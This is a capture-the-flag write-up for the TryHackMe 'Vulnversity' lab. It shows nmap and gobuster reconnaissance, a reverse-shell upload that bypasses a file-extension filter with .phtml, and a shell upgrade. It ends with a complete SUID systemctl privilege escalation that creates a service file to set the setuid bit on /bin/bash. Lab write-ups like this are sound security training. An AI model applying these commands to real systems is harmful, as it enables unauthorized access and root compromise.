Vulnversity CTF — THM Writeup

Difficulty: Easy

Day: 11

1- Recon

NMAP

nmap vuln.thm -sC -sV -T4

nmap vuln.thm -sC -sV -T4

i found a 6 open ports

ftp 21

ssh 22

netbios 139

netbios 445

http proxy 3128

http 3333

Fuzzing

I used Gobuster to fuzz hidden directory

gobuster dir -u http://10.128.148.7:3333 -w /usr/share/wordlists/dirb/common.txt

gobuster dir -u http://10.128.148.7:3333 -w /usr/share/wordlists/dirb/common.txt

i found this endpoint , after open it i saw a upload page

2- Exploitation

so whynot upload a reverse shell ? lets do it , after some tries the website don't accept the php extension so i try to bypass this by change file name from .php to .phtml

now after success upload lets go to uploaded location to open this file and got shell but before dont forgot open listener to receive the connection

Now, after getting a shell, always type this command

python -c "import pty;pty.spawn('/bin/bash')"

python -c "import pty;pty.spawn('/bin/bash')"

user.txt

3- Privilege Escalation

i cant use sudo -l because i don't access any user and i logged in with server privilege so i will search on SUID to escalate me to root

find / -perm -4000 -type f 2>/dev/null

find / -perm -4000 -type f 2>/dev/null

all this used SUID so what i can exploit to got root? , after some search i found a systemctl , i can exploit to get root access

after some search i found a exploit code on GFOBins

exploitation steps & why it's dangerous and how it's working

if systemctl has a root by wrong , it's have all root privilege and anyone can exploit it easily , so how to exploit ??

Exploitation Steps

1- create a variable with the extension " .service " to run systemctl on it i will create a variable; its name is a TF

TF=$(mktemp).service

TF=$(mktemp).service

2- add this commands in file to got root privilege

echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF

echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF

3- link systemctl service with our file i created

systemcrl link $TF

systemcrl link $TF

4- run and enable our service

systemctl enable --now $TF

systemctl enable --now $TF

5- exploit

bash -p

bash -p

root.txt

Thanks For Reading ❤️

Contents